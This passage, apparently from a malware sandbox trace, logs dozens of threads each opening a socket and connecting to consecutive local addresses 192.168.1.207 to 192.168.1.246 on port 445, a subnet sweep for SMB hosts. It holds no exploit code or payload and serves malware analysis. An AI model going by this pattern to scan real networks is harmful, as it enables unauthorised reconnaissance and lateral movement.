() returned 0x1548 [0147.021] GetCurrentThreadId () returned 0x1548 Thread: id = 858 os_tid = 0x154c [0126.054] GetCurrentThreadId () returned 0x154c [0126.054] GetCurrentThreadId () returned 0x154c [0126.054] GetCurrentThreadId () returned 0x154c [0126.054] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa41fdf0 | out: lpWSAData=0xa41fdf0) returned 0 [0126.054] socket (af=2, type=1, protocol=0) returned 0x1bd8 [0126.054] inet_addr (cp="192.168.1.207") returned 0xcf01a8c0 [0126.054] htons (hostshort=0x1bd) returned 0xbd01 [0126.054] connect (s=0x1bd8, name=0xa41fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.207"), namelen=16) returned -1 [0147.117] closesocket (s=0x1bd8) returned 0 [0147.117] WSACleanup () returned 0 [0147.117] GetCurrentThreadId () returned 0x154c [0147.117] GetCurrentThreadId () returned 0x154c [0147.117] GetCurrentThreadId () returned 0x154c Thread: id = 859 os_tid = 0x1550 [0126.154] GetCurrentThreadId () returned 0x1550 [0126.154] GetCurrentThreadId () returned 0x1550 [0126.154] GetCurrentThreadId () returned 0x1550 [0126.154] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa55fdf0 | out: lpWSAData=0xa55fdf0) returned 0 [0126.154] socket (af=2, type=1, protocol=0) returned 0x1318 [0126.154] inet_addr (cp="192.168.1.208") returned 0xd001a8c0 [0126.154] htons (hostshort=0x1bd) returned 0xbd01 [0126.154] connect (s=0x1318, name=0xa55fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.208"), namelen=16) returned -1 [0147.216] closesocket (s=0x1318) returned 0 [0147.216] WSACleanup () returned 0 [0147.216] GetCurrentThreadId () returned 0x1550 [0147.216] GetCurrentThreadId () returned 0x1550 [0147.216] GetCurrentThreadId () returned 0x1550 Thread: id = 860 os_tid = 0x1554 [0126.336] GetCurrentThreadId () returned 0x1554 [0126.336] GetCurrentThreadId () returned 0x1554 [0126.336] GetCurrentThreadId () returned 0x1554 [0126.336] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa69fdf0 | out: lpWSAData=0xa69fdf0) returned 0 [0126.336] socket (af=2, type=1, protocol=0) returned 0x1330 [0126.336] inet_addr (cp="192.168.1.209") returned 0xd101a8c0 [0126.336] htons (hostshort=0x1bd) returned 0xbd01 [0126.336] connect (s=0x1330, name=0xa69fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.209"), namelen=16) returned -1 [0147.519] closesocket (s=0x1330) returned 0 [0147.519] WSACleanup () returned 0 [0147.519] GetCurrentThreadId () returned 0x1554 [0147.519] GetCurrentThreadId () returned 0x1554 [0147.519] GetCurrentThreadId () returned 0x1554 Thread: id = 861 os_tid = 0x1558 [0126.474] GetCurrentThreadId () returned 0x1558 [0126.474] GetCurrentThreadId () returned 0x1558 [0126.474] GetCurrentThreadId () returned 0x1558 [0126.474] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa7dfdf0 | out: lpWSAData=0xa7dfdf0) returned 0 [0126.474] socket (af=2, type=1, protocol=0) returned 0x13dc [0126.474] inet_addr (cp="192.168.1.210") returned 0xd201a8c0 [0126.475] htons (hostshort=0x1bd) returned 0xbd01 [0126.475] connect (s=0x13dc, name=0xa7dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.210"), namelen=16) returned -1 [0147.520] closesocket (s=0x13dc) returned 0 [0147.520] WSACleanup () returned 0 [0147.520] GetCurrentThreadId () returned 0x1558 [0147.520] GetCurrentThreadId () returned 0x1558 [0147.520] GetCurrentThreadId () returned 0x1558 Thread: id = 862 os_tid = 0x155c [0126.549] GetCurrentThreadId () returned 0x155c [0126.549] GetCurrentThreadId () returned 0x155c [0126.549] GetCurrentThreadId () returned 0x155c [0126.549] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa91fdf0 | out: lpWSAData=0xa91fdf0) returned 0 [0126.549] socket (af=2, type=1, protocol=0) returned 0x1350 [0126.549] inet_addr (cp="192.168.1.211") returned 0xd301a8c0 [0126.549] htons (hostshort=0x1bd) returned 0xbd01 [0126.549] connect (s=0x1350, name=0xa91fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.211"), namelen=16) returned -1 [0147.612] closesocket (s=0x1350) returned 0 [0147.612] WSACleanup () returned 0 [0147.612] GetCurrentThreadId () returned 0x155c [0147.612] GetCurrentThreadId () returned 0x155c [0147.612] GetCurrentThreadId () returned 0x155c Thread: id = 863 os_tid = 0x1564 [0126.634] GetCurrentThreadId () returned 0x1564 [0126.634] GetCurrentThreadId () returned 0x1564 [0126.634] GetCurrentThreadId () returned 0x1564 [0126.634] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xaa5fdf0 | out: lpWSAData=0xaa5fdf0) returned 0 [0126.634] socket (af=2, type=1, protocol=0) returned 0x1420 [0126.635] inet_addr (cp="192.168.1.212") returned 0xd401a8c0 [0126.635] htons (hostshort=0x1bd) returned 0xbd01 [0126.635] connect (s=0x1420, name=0xaa5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.212"), namelen=16) returned -1 [0147.974] closesocket (s=0x1420) returned 0 [0147.975] WSACleanup () returned 0 [0147.975] GetCurrentThreadId () returned 0x1564 [0147.975] GetCurrentThreadId () returned 0x1564 [0147.975] GetCurrentThreadId () returned 0x1564 Thread: id = 864 os_tid = 0x156c [0126.741] GetCurrentThreadId () returned 0x156c [0126.741] GetCurrentThreadId () returned 0x156c [0126.741] GetCurrentThreadId () returned 0x156c [0126.741] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xab9fdf0 | out: lpWSAData=0xab9fdf0) returned 0 [0126.741] socket (af=2, type=1, protocol=0) returned 0x1308 [0126.741] inet_addr (cp="192.168.1.213") returned 0xd501a8c0 [0126.741] htons (hostshort=0x1bd) returned 0xbd01 [0126.742] connect (s=0x1308, name=0xab9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.213"), namelen=16) returned -1 [0147.975] closesocket (s=0x1308) returned 0 [0147.975] WSACleanup () returned 0 [0147.976] GetCurrentThreadId () returned 0x156c [0147.976] GetCurrentThreadId () returned 0x156c [0147.976] GetCurrentThreadId () returned 0x156c Thread: id = 865 os_tid = 0x1570 [0126.838] GetCurrentThreadId () returned 0x1570 [0126.838] GetCurrentThreadId () returned 0x1570 [0126.838] GetCurrentThreadId () returned 0x1570 [0126.838] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xacdfdf0 | out: lpWSAData=0xacdfdf0) returned 0 [0126.838] socket (af=2, type=1, protocol=0) returned 0x1460 [0126.838] inet_addr (cp="192.168.1.214") returned 0xd601a8c0 [0126.838] htons (hostshort=0x1bd) returned 0xbd01 [0126.838] connect (s=0x1460, name=0xacdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.214"), namelen=16) returned -1 [0148.018] closesocket (s=0x1460) returned 0 [0148.018] WSACleanup () returned 0 [0148.018] GetCurrentThreadId () returned 0x1570 [0148.018] GetCurrentThreadId () returned 0x1570 [0148.018] GetCurrentThreadId () returned 0x1570 Thread: id = 866 os_tid = 0x1574 [0126.932] GetCurrentThreadId () returned 0x1574 [0126.932] GetCurrentThreadId () returned 0x1574 [0126.932] GetCurrentThreadId () returned 0x1574 [0126.932] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xae1fdf0 | out: lpWSAData=0xae1fdf0) returned 0 [0126.932] socket (af=2, type=1, protocol=0) returned 0x2d4 [0126.933] inet_addr (cp="192.168.1.215") returned 0xd701a8c0 [0126.933] htons (hostshort=0x1bd) returned 0xbd01 [0126.933] connect (s=0x2d4, name=0xae1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.215"), namelen=16) returned -1 [0148.019] closesocket (s=0x2d4) returned 0 [0148.019] WSACleanup () returned 0 [0148.019] GetCurrentThreadId () returned 0x1574 [0148.019] GetCurrentThreadId () returned 0x1574 [0148.019] GetCurrentThreadId () returned 0x1574 Thread: id = 867 os_tid = 0x1578 [0127.025] GetCurrentThreadId () returned 0x1578 [0127.025] GetCurrentThreadId () returned 0x1578 [0127.025] GetCurrentThreadId () returned 0x1578 [0127.026] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xaf5fdf0 | out: lpWSAData=0xaf5fdf0) returned 0 [0127.026] socket (af=2, type=1, protocol=0) returned 0x146c [0127.026] inet_addr (cp="192.168.1.216") returned 0xd801a8c0 [0127.026] htons (hostshort=0x1bd) returned 0xbd01 [0127.026] connect (s=0x146c, name=0xaf5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.216"), namelen=16) returned -1 [0148.111] closesocket (s=0x146c) returned 0 [0148.112] WSACleanup () returned 0 [0148.112] GetCurrentThreadId () returned 0x1578 [0148.112] GetCurrentThreadId () returned 0x1578 [0148.112] GetCurrentThreadId () returned 0x1578 Thread: id = 868 os_tid = 0x157c [0127.134] GetCurrentThreadId () returned 0x157c [0127.134] GetCurrentThreadId () returned 0x157c [0127.134] GetCurrentThreadId () returned 0x157c [0127.134] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb09fdf0 | out: lpWSAData=0xb09fdf0) returned 0 [0127.134] socket (af=2, type=1, protocol=0) returned 0x148c [0127.135] inet_addr (cp="192.168.1.217") returned 0xd901a8c0 [0127.135] htons (hostshort=0x1bd) returned 0xbd01 [0127.135] connect (s=0x148c, name=0xb09fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.217"), namelen=16) returned -1 [0148.252] closesocket (s=0x148c) returned 0 [0148.252] WSACleanup () returned 0 [0148.252] GetCurrentThreadId () returned 0x157c [0148.252] GetCurrentThreadId () returned 0x157c [0148.252] GetCurrentThreadId () returned 0x157c Thread: id = 869 os_tid = 0x1580 [0127.238] GetCurrentThreadId () returned 0x1580 [0127.238] GetCurrentThreadId () returned 0x1580 [0127.238] GetCurrentThreadId () returned 0x1580 [0127.238] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb1dfdf0 | out: lpWSAData=0xb1dfdf0) returned 0 [0127.238] socket (af=2, type=1, protocol=0) returned 0x2a8 [0127.238] inet_addr (cp="192.168.1.218") returned 0xda01a8c0 [0127.238] htons (hostshort=0x1bd) returned 0xbd01 [0127.238] connect (s=0x2a8, name=0xb1dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.218"), namelen=16) returned -1 [0148.474] closesocket (s=0x2a8) returned 0 [0148.474] WSACleanup () returned 0 [0148.474] GetCurrentThreadId () returned 0x1580 [0148.474] GetCurrentThreadId () returned 0x1580 [0148.474] GetCurrentThreadId () returned 0x1580 Thread: id = 870 os_tid = 0x158c [0127.332] GetCurrentThreadId () returned 0x158c [0127.332] GetCurrentThreadId () returned 0x158c [0127.332] GetCurrentThreadId () returned 0x158c [0127.332] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb31fdf0 | out: lpWSAData=0xb31fdf0) returned 0 [0127.332] socket (af=2, type=1, protocol=0) returned 0x14cc [0127.332] inet_addr (cp="192.168.1.219") returned 0xdb01a8c0 [0127.332] htons (hostshort=0x1bd) returned 0xbd01 [0127.332] connect (s=0x14cc, name=0xb31fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.219"), namelen=16) returned -1 [0148.517] closesocket (s=0x14cc) returned 0 [0148.517] WSACleanup () returned 0 [0148.517] GetCurrentThreadId () returned 0x158c [0148.517] GetCurrentThreadId () returned 0x158c [0148.517] GetCurrentThreadId () returned 0x158c Thread: id = 871 os_tid = 0x1590 [0127.465] GetCurrentThreadId () returned 0x1590 [0127.465] GetCurrentThreadId () returned 0x1590 [0127.465] GetCurrentThreadId () returned 0x1590 [0127.465] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb45fdf0 | out: lpWSAData=0xb45fdf0) returned 0 [0127.465] socket (af=2, type=1, protocol=0) returned 0x1bd4 [0127.466] inet_addr (cp="192.168.1.220") returned 0xdc01a8c0 [0127.466] htons (hostshort=0x1bd) returned 0xbd01 [0127.466] connect (s=0x1bd4, name=0xb45fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.220"), namelen=16) returned -1 [0148.518] closesocket (s=0x1bd4) returned 0 [0148.518] WSACleanup () returned 0 [0148.518] GetCurrentThreadId () returned 0x1590 [0148.518] GetCurrentThreadId () returned 0x1590 [0148.518] GetCurrentThreadId () returned 0x1590 Thread: id = 872 os_tid = 0x1594 [0127.567] GetCurrentThreadId () returned 0x1594 [0127.567] GetCurrentThreadId () returned 0x1594 [0127.567] GetCurrentThreadId () returned 0x1594 [0127.567] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb59fdf0 | out: lpWSAData=0xb59fdf0) returned 0 [0127.567] socket (af=2, type=1, protocol=0) returned 0x14d4 [0127.567] inet_addr (cp="192.168.1.221") returned 0xdd01a8c0 [0127.567] htons (hostshort=0x1bd) returned 0xbd01 [0127.567] connect (s=0x14d4, name=0xb59fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.221"), namelen=16) returned -1 [0148.611] closesocket (s=0x14d4) returned 0 [0148.611] WSACleanup () returned 0 [0148.611] GetCurrentThreadId () returned 0x1594 [0148.611] GetCurrentThreadId () returned 0x1594 [0148.611] GetCurrentThreadId () returned 0x1594 Thread: id = 873 os_tid = 0x1598 [0127.661] GetCurrentThreadId () returned 0x1598 [0127.662] GetCurrentThreadId () returned 0x1598 [0127.662] GetCurrentThreadId () returned 0x1598 [0127.662] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb6dfdf0 | out: lpWSAData=0xb6dfdf0) returned 0 [0127.662] socket (af=2, type=1, protocol=0) returned 0x1410 [0127.662] inet_addr (cp="192.168.1.222") returned 0xde01a8c0 [0127.662] htons (hostshort=0x1bd) returned 0xbd01 [0127.662] connect (s=0x1410, name=0xb6dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.222"), namelen=16) Thread: id = 874 os_tid = 0x159c [0127.756] GetCurrentThreadId () returned 0x159c [0127.756] GetCurrentThreadId () returned 0x159c [0127.756] GetCurrentThreadId () returned 0x159c [0127.756] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb81fdf0 | out: lpWSAData=0xb81fdf0) returned 0 [0127.756] socket (af=2, type=1, protocol=0) returned 0x14b4 [0127.756] inet_addr (cp="192.168.1.223") returned 0xdf01a8c0 [0127.756] htons (hostshort=0x1bd) returned 0xbd01 [0127.756] connect (s=0x14b4, name=0xb81fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.223"), namelen=16) Thread: id = 875 os_tid = 0x15a0 [0127.851] GetCurrentThreadId () returned 0x15a0 [0127.851] GetCurrentThreadId () returned 0x15a0 [0127.851] GetCurrentThreadId () returned 0x15a0 [0127.851] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb95fdf0 | out: lpWSAData=0xb95fdf0) returned 0 [0127.851] socket (af=2, type=1, protocol=0) returned 0x2b4 [0127.851] inet_addr (cp="192.168.1.224") returned 0xe001a8c0 [0127.851] htons (hostshort=0x1bd) returned 0xbd01 [0127.851] connect (s=0x2b4, name=0xb95fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.224"), namelen=16) Thread: id = 876 os_tid = 0x15a4 [0127.940] GetCurrentThreadId () returned 0x15a4 [0127.940] GetCurrentThreadId () returned 0x15a4 [0127.941] GetCurrentThreadId () returned 0x15a4 [0127.941] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xba9fdf0 | out: lpWSAData=0xba9fdf0) returned 0 [0127.941] socket (af=2, type=1, protocol=0) returned 0x1bc8 [0127.941] inet_addr (cp="192.168.1.225") returned 0xe101a8c0 [0127.941] htons (hostshort=0x1bd) returned 0xbd01 [0127.941] connect (s=0x1bc8, name=0xba9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.225"), namelen=16) Thread: id = 877 os_tid = 0x15a8 [0128.044] GetCurrentThreadId () returned 0x15a8 [0128.044] GetCurrentThreadId () returned 0x15a8 [0128.044] GetCurrentThreadId () returned 0x15a8 [0128.044] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbbdfdf0 | out: lpWSAData=0xbbdfdf0) returned 0 [0128.044] socket (af=2, type=1, protocol=0) returned 0x12e8 [0128.044] inet_addr (cp="192.168.1.226") returned 0xe201a8c0 [0128.044] htons (hostshort=0x1bd) returned 0xbd01 [0128.044] connect (s=0x12e8, name=0xbbdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.226"), namelen=16) Thread: id = 878 os_tid = 0x15ac [0128.134] GetCurrentThreadId () returned 0x15ac [0128.134] GetCurrentThreadId () returned 0x15ac [0128.134] GetCurrentThreadId () returned 0x15ac [0128.134] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbd1fdf0 | out: lpWSAData=0xbd1fdf0) returned 0 [0128.134] socket (af=2, type=1, protocol=0) returned 0x1bb4 [0128.134] inet_addr (cp="192.168.1.227") returned 0xe301a8c0 [0128.134] htons (hostshort=0x1bd) returned 0xbd01 [0128.134] connect (s=0x1bb4, name=0xbd1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.227"), namelen=16) Thread: id = 879 os_tid = 0x15b0 [0128.224] GetCurrentThreadId () returned 0x15b0 [0128.224] GetCurrentThreadId () returned 0x15b0 [0128.224] GetCurrentThreadId () returned 0x15b0 [0128.224] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbe5fdf0 | out: lpWSAData=0xbe5fdf0) returned 0 [0128.225] socket (af=2, type=1, protocol=0) returned 0x288 [0128.225] inet_addr (cp="192.168.1.228") returned 0xe401a8c0 [0128.225] htons (hostshort=0x1bd) returned 0xbd01 [0128.225] connect (s=0x288, name=0xbe5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.228"), namelen=16) Thread: id = 880 os_tid = 0x15b4 [0128.356] GetCurrentThreadId () returned 0x15b4 [0128.356] GetCurrentThreadId () returned 0x15b4 [0128.356] GetCurrentThreadId () returned 0x15b4 [0128.356] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbf9fdf0 | out: lpWSAData=0xbf9fdf0) returned 0 [0128.356] socket (af=2, type=1, protocol=0) returned 0x163c [0128.356] inet_addr (cp="192.168.1.229") returned 0xe501a8c0 [0128.356] htons (hostshort=0x1bd) returned 0xbd01 [0128.356] connect (s=0x163c, name=0xbf9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.229"), namelen=16) Thread: id = 881 os_tid = 0x15b8 [0128.404] GetCurrentThreadId () returned 0x15b8 [0128.404] GetCurrentThreadId () returned 0x15b8 [0128.404] GetCurrentThreadId () returned 0x15b8 [0128.404] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc0dfdf0 | out: lpWSAData=0xc0dfdf0) returned 0 [0128.404] socket (af=2, type=1, protocol=0) returned 0x404 [0128.404] inet_addr (cp="192.168.1.230") returned 0xe601a8c0 [0128.404] htons (hostshort=0x1bd) returned 0xbd01 [0128.404] connect (s=0x404, name=0xc0dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.230"), namelen=16) Thread: id = 882 os_tid = 0x15bc [0128.489] GetCurrentThreadId () returned 0x15bc [0128.489] GetCurrentThreadId () returned 0x15bc [0128.489] GetCurrentThreadId () returned 0x15bc [0128.489] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc21fdf0 | out: lpWSAData=0xc21fdf0) returned 0 [0128.489] socket (af=2, type=1, protocol=0) returned 0x18c0 [0128.489] inet_addr (cp="192.168.1.231") returned 0xe701a8c0 [0128.489] htons (hostshort=0x1bd) returned 0xbd01 [0128.489] connect (s=0x18c0, name=0xc21fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.231"), namelen=16) Thread: id = 883 os_tid = 0x15c0 [0128.582] GetCurrentThreadId () returned 0x15c0 [0128.582] GetCurrentThreadId () returned 0x15c0 [0128.582] GetCurrentThreadId () returned 0x15c0 [0128.582] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc35fdf0 | out: lpWSAData=0xc35fdf0) returned 0 [0128.582] socket (af=2, type=1, protocol=0) returned 0x1850 [0128.582] inet_addr (cp="192.168.1.232") returned 0xe801a8c0 [0128.582] htons (hostshort=0x1bd) returned 0xbd01 [0128.582] connect (s=0x1850, name=0xc35fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.232"), namelen=16) Thread: id = 884 os_tid = 0x15c4 [0128.676] GetCurrentThreadId () returned 0x15c4 [0128.677] GetCurrentThreadId () returned 0x15c4 [0128.677] GetCurrentThreadId () returned 0x15c4 [0128.677] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc49fdf0 | out: lpWSAData=0xc49fdf0) returned 0 [0128.677] socket (af=2, type=1, protocol=0) returned 0x1858 [0128.677] inet_addr (cp="192.168.1.233") returned 0xe901a8c0 [0128.677] htons (hostshort=0x1bd) returned 0xbd01 [0128.677] connect (s=0x1858, name=0xc49fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.233"), namelen=16) Thread: id = 885 os_tid = 0x15c8 [0128.772] GetCurrentThreadId () returned 0x15c8 [0128.773] GetCurrentThreadId () returned 0x15c8 [0128.773] GetCurrentThreadId () returned 0x15c8 [0128.773] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc5dfdf0 | out: lpWSAData=0xc5dfdf0) returned 0 [0128.773] socket (af=2, type=1, protocol=0) returned 0x1838 [0128.773] inet_addr (cp="192.168.1.234") returned 0xea01a8c0 [0128.773] htons (hostshort=0x1bd) returned 0xbd01 [0128.773] connect (s=0x1838, name=0xc5dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.234"), namelen=16) Thread: id = 886 os_tid = 0x15cc [0128.868] GetCurrentThreadId () returned 0x15cc [0128.868] GetCurrentThreadId () returned 0x15cc [0128.868] GetCurrentThreadId () returned 0x15cc [0128.868] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc71fdf0 | out: lpWSAData=0xc71fdf0) returned 0 [0128.868] socket (af=2, type=1, protocol=0) returned 0x153c [0128.869] inet_addr (cp="192.168.1.235") returned 0xeb01a8c0 [0128.869] htons (hostshort=0x1bd) returned 0xbd01 [0128.869] connect (s=0x153c, name=0xc71fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.235"), namelen=16) Thread: id = 887 os_tid = 0x15d0 [0128.990] GetCurrentThreadId () returned 0x15d0 [0128.990] GetCurrentThreadId () returned 0x15d0 [0128.990] GetCurrentThreadId () returned 0x15d0 [0128.990] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc85fdf0 | out: lpWSAData=0xc85fdf0) returned 0 [0128.990] socket (af=2, type=1, protocol=0) returned 0x151c [0128.990] inet_addr (cp="192.168.1.236") returned 0xec01a8c0 [0128.990] htons (hostshort=0x1bd) returned 0xbd01 [0128.990] connect (s=0x151c, name=0xc85fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.236"), namelen=16) Thread: id = 888 os_tid = 0x15d4 [0129.080] GetCurrentThreadId () returned 0x15d4 [0129.080] GetCurrentThreadId () returned 0x15d4 [0129.081] GetCurrentThreadId () returned 0x15d4 [0129.081] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc99fdf0 | out: lpWSAData=0xc99fdf0) returned 0 [0129.081] socket (af=2, type=1, protocol=0) returned 0x1520 [0129.081] inet_addr (cp="192.168.1.237") returned 0xed01a8c0 [0129.081] htons (hostshort=0x1bd) returned 0xbd01 [0129.081] connect (s=0x1520, name=0xc99fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.237"), namelen=16) Thread: id = 889 os_tid = 0x15d8 [0129.187] GetCurrentThreadId () returned 0x15d8 [0129.187] GetCurrentThreadId () returned 0x15d8 [0129.187] GetCurrentThreadId () returned 0x15d8 [0129.187] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcadfdf0 | out: lpWSAData=0xcadfdf0) returned 0 [0129.187] socket (af=2, type=1, protocol=0) returned 0x14f8 [0129.187] inet_addr (cp="192.168.1.238") returned 0xee01a8c0 [0129.188] htons (hostshort=0x1bd) returned 0xbd01 [0129.188] connect (s=0x14f8, name=0xcadfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.238"), namelen=16) Thread: id = 890 os_tid = 0x15dc [0129.284] GetCurrentThreadId () returned 0x15dc [0129.284] GetCurrentThreadId () returned 0x15dc [0129.284] GetCurrentThreadId () returned 0x15dc [0129.284] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcc1fdf0 | out: lpWSAData=0xcc1fdf0) returned 0 [0129.284] socket (af=2, type=1, protocol=0) returned 0x171c [0129.285] inet_addr (cp="192.168.1.239") returned 0xef01a8c0 [0129.285] htons (hostshort=0x1bd) returned 0xbd01 [0129.285] connect (s=0x171c, name=0xcc1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.239"), namelen=16) Thread: id = 891 os_tid = 0x15e0 [0129.379] GetCurrentThreadId () returned 0x15e0 [0129.379] GetCurrentThreadId () returned 0x15e0 [0129.379] GetCurrentThreadId () returned 0x15e0 [0129.379] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcd5fdf0 | out: lpWSAData=0xcd5fdf0) returned 0 [0129.379] socket (af=2, type=1, protocol=0) returned 0x1500 [0129.379] inet_addr (cp="192.168.1.240") returned 0xf001a8c0 [0129.379] htons (hostshort=0x1bd) returned 0xbd01 [0129.379] connect (s=0x1500, name=0xcd5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.240"), namelen=16) Thread: id = 892 os_tid = 0x15e4 [0129.520] GetCurrentThreadId () returned 0x15e4 [0129.520] GetCurrentThreadId () returned 0x15e4 [0129.520] GetCurrentThreadId () returned 0x15e4 [0129.520] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xce9fdf0 | out: lpWSAData=0xce9fdf0) returned 0 [0129.520] socket (af=2, type=1, protocol=0) returned 0x1790 [0129.520] inet_addr (cp="192.168.1.241") returned 0xf101a8c0 [0129.520] htons (hostshort=0x1bd) returned 0xbd01 [0129.520] connect (s=0x1790, name=0xce9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.241"), namelen=16) Thread: id = 893 os_tid = 0x15e8 [0129.612] GetCurrentThreadId () returned 0x15e8 [0129.612] GetCurrentThreadId () returned 0x15e8 [0129.612] GetCurrentThreadId () returned 0x15e8 [0129.612] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcfdfdf0 | out: lpWSAData=0xcfdfdf0) returned 0 [0129.612] socket (af=2, type=1, protocol=0) returned 0x14f0 [0129.613] inet_addr (cp="192.168.1.242") returned 0xf201a8c0 [0129.613] htons (hostshort=0x1bd) returned 0xbd01 [0129.613] connect (s=0x14f0, name=0xcfdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.242"), namelen=16) Thread: id = 894 os_tid = 0x15ec [0129.708] GetCurrentThreadId () returned 0x15ec [0129.708] GetCurrentThreadId () returned 0x15ec [0129.708] GetCurrentThreadId () returned 0x15ec [0129.708] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd11fdf0 | out: lpWSAData=0xd11fdf0) returned 0 [0129.708] socket (af=2, type=1, protocol=0) returned 0x13bc [0129.709] inet_addr (cp="192.168.1.243") returned 0xf301a8c0 [0129.709] htons (hostshort=0x1bd) returned 0xbd01 [0129.709] connect (s=0x13bc, name=0xd11fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.243"), namelen=16) Thread: id = 895 os_tid = 0x15f0 [0129.803] GetCurrentThreadId () returned 0x15f0 [0129.803] GetCurrentThreadId () returned 0x15f0 [0129.803] GetCurrentThreadId () returned 0x15f0 [0129.803] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd25fdf0 | out: lpWSAData=0xd25fdf0) returned 0 [0129.803] socket (af=2, type=1, protocol=0) returned 0x16fc [0129.803] inet_addr (cp="192.168.1.244") returned 0xf401a8c0 [0129.803] htons (hostshort=0x1bd) returned 0xbd01 [0129.803] connect (s=0x16fc, name=0xd25fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.244"), namelen=16) Thread: id = 896 os_tid = 0x15f4 [0129.894] GetCurrentThreadId () returned 0x15f4 [0129.894] GetCurrentThreadId () returned 0x15f4 [0129.894] GetCurrentThreadId () returned 0x15f4 [0129.894] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd39fdf0 | out: lpWSAData=0xd39fdf0) returned 0 [0129.894] socket (af=2, type=1, protocol=0) returned 0x12d0 [0129.895] inet_addr (cp="192.168.1.245") returned 0xf501a8c0 [0129.895] htons (hostshort=0x1bd) returned 0xbd01 [0129.895] connect (s=0x12d0, name=0xd39fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.245"), namelen=16) Thread: id = 897 os_tid = 0x15f8 [0129.991] GetCurrentThreadId () returned 0x15f8 [0129.991] GetCurrentThreadId () returned 0x15f8 [0129.991] GetCurrentThreadId () returned 0x15f8 [0129.991] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd4dfdf0 | out: lpWSAData=0xd4dfdf0) returned 0 [0129.991] socket (af=2, type=1, protocol=0) returned 0x12a8 [0129.991] inet_addr (cp="192.168.1.246") returned 0xf601a8c0 [0129.991] htons (hostshort=0x1bd) returned 0xbd01 [0129.991] connect (s=0x12a8, name=0xd4dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.246"), namelen=16) Thread: id = 898 os_tid = 0x15fc [0130.080] GetCurrentThreadId () returned 0x15fc [0130.081] GetCurrentThreadId () returned 0x15fc [0130.081] GetCurrentThreadId () returned 0x15fc [0130.081] 